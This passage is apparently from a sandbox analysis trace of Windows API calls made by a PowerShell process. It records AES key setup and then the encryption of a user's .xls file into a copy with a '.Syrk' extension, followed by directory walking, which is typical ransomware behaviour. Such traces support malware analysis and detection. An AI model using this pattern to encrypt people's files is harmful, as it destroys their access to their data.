Memory=0x32ce8c) returned 0x0 [0233.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0233.517] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0233.517] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.517] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0233.517] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0233.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0233.518] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.518] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0233.518] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0233.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0233.518] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.518] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0233.518] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0233.518] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0233.518] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.518] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0233.518] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0233.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0233.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0233.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0233.519] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0233.519] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.519] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0233.519] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0233.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0233.520] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.520] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0233.520] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0233.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0233.520] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.520] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0233.520] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0233.520] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0233.520] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.520] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0233.520] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0233.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0233.521] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.521] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0233.521] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0233.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0233.521] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.521] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0233.521] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0233.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0233.521] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.521] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0233.521] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.521] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0233.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0233.522] SystemFunction041 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.522] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0233.522] SystemFunction040 (in: Memory=0x5c9ab74, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ab74) returned 0x0 [0233.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0233.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0233.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0233.522] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0233.522] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0233.522] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0233.522] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0233.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0233.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0233.523] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0233.523] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0233.523] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0233.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0233.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0233.523] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0233.523] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0233.523] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0233.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0233.523] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0233.523] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0233.523] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0233.523] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0233.524] EtwEventActivityIdControl () returned 0x0 [0233.524] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0233.524] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0233.524] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0233.524] SystemFunction040 (in: Memory=0x5c92f8c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f8c) returned 0x0 [0233.525] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d298) returned 1 [0233.527] CryptImportKey (in: hProv=0x5c4d298, pbData=0x2521e04*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c996e0) returned 1 [0233.527] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0233.527] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.528] EtwEventActivityIdControl () returned 0x0 [0233.528] EtwEventActivityIdControl () returned 0x0 [0233.528] EtwEventActivityIdControl () returned 0x0 [0233.535] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\zm9nla-npd71l4thren.xls")) returned 0x20 [0233.536] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\zm9nla-npd71l4thren.xls")) returned 0x20 [0233.537] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0233.537] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", lpFilePart=0x0) returned 0x34 [0233.537] EtwEventActivityIdControl () returned 0x0 [0233.537] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.537] EtwEventActivityIdControl () returned 0x0 [0233.538] EtwEventActivityIdControl () returned 0x0 [0233.538] EtwEventActivityIdControl () returned 0x0 [0233.538] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0233.538] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", lpFilePart=0x0) returned 0x34 [0233.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0233.539] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\zm9nla-npd71l4thren.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0233.539] GetFileType (hFile=0x454) returned 0x1 [0233.539] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0233.539] GetFileType (hFile=0x454) returned 0x1 [0233.539] EtwEventActivityIdControl () returned 0x0 [0233.539] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.540] EtwEventActivityIdControl () returned 0x0 [0233.540] EtwEventActivityIdControl () returned 0x0 [0233.540] EtwEventActivityIdControl () returned 0x0 [0233.541] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0233.541] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls.Syrk", nBufferLength=0x3a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls.Syrk", lpFilePart=0x0) returned 0x39 [0233.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0233.541] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\zm9nla-npd71l4thren.xls.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0233.542] GetFileType (hFile=0x458) returned 0x1 [0233.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0233.542] GetFileType (hFile=0x458) returned 0x1 [0233.542] EtwEventActivityIdControl () returned 0x0 [0233.542] CryptGenRandom (in: hProv=0x5c4d298, dwLen=0x10, pbBuffer=0x25328a8 | out: pbBuffer=0x25328a8) returned 1 [0233.543] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0233.543] CryptDuplicateKey (in: hKey=0x5c996e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99560) returned 1 [0233.543] CryptContextAddRef (hProv=0x5c4d298, pdwReserved=0x0, dwFlags=0x0) returned 1 [0233.543] CryptSetKeyParam (hKey=0x5c99560, dwParam=0x4, pbData=0x2533be0*=0x1, dwFlags=0x0) returned 1 [0233.543] CryptSetKeyParam (hKey=0x5c99560, dwParam=0x1, pbData=0x2533bac, dwFlags=0x0) returned 1 [0233.543] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.544] EtwEventActivityIdControl () returned 0x0 [0233.544] EtwEventActivityIdControl () returned 0x0 [0233.544] EtwEventActivityIdControl () returned 0x0 [0233.545] EtwEventActivityIdControl () returned 0x0 [0233.545] ReadFile (in: hFile=0x454, lpBuffer=0x253681c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x253681c*, lpNumberOfBytesRead=0x5a2e7d8*=0x8135, lpOverlapped=0x0) returned 1 [0233.546] CryptEncrypt (in: hKey=0x5c99560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x254a834*, pdwDataLen=0x5a2e7cc*=0x8130, dwBufLen=0x8130 | out: pbData=0x254a834*, pdwDataLen=0x5a2e7cc*=0x8130) returned 1 [0233.547] WriteFile (in: hFile=0x458, lpBuffer=0x2532990*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2532990*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0233.548] WriteFile (in: hFile=0x458, lpBuffer=0x254b820*, nNumberOfBytesToWrite=0x7144, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x254b820*, lpNumberOfBytesWritten=0x5a2e7b0*=0x7144, lpOverlapped=0x0) returned 1 [0233.549] ReadFile (in: hFile=0x454, lpBuffer=0x253681c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x253681c*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0233.549] CryptEncrypt (in: hKey=0x5c99560, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2552970*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2552970*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0233.549] CryptEncrypt (in: hKey=0x5c99560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x255298c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x255298c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0233.549] WriteFile (in: hFile=0x458, lpBuffer=0x2532990*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2532990*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0233.549] CloseHandle (hObject=0x458) returned 1 [0233.551] CloseHandle (hObject=0x454) returned 1 [0233.551] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0233.551] EtwEventActivityIdControl () returned 0x0 [0233.552] EtwEventActivityIdControl () returned 0x0 [0233.552] EtwEventActivityIdControl () returned 0x0 [0233.556] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\zm9nla-npd71l4thren.xls")) returned 0x20 [0233.558] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0233.559] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", lpFilePart=0x0) returned 0x34 [0233.559] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0233.559] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0233.559] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0233.559] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0233.559] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0233.560] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0233.560] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0233.560] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0233.560] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0233.560] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0233.560] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0233.560] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0233.560] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0233.561] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0233.561] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0233.561] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0233.561] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls" (normalized: "c:\\users\\keecfmwgj\\documents\\zm9nla-npd71l4thren.xls")) returned 0x20 [0233.561] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x35 [0233.561] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\zm9nla-NPD71l4thrEn.xls", nBufferLength=0x35, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: 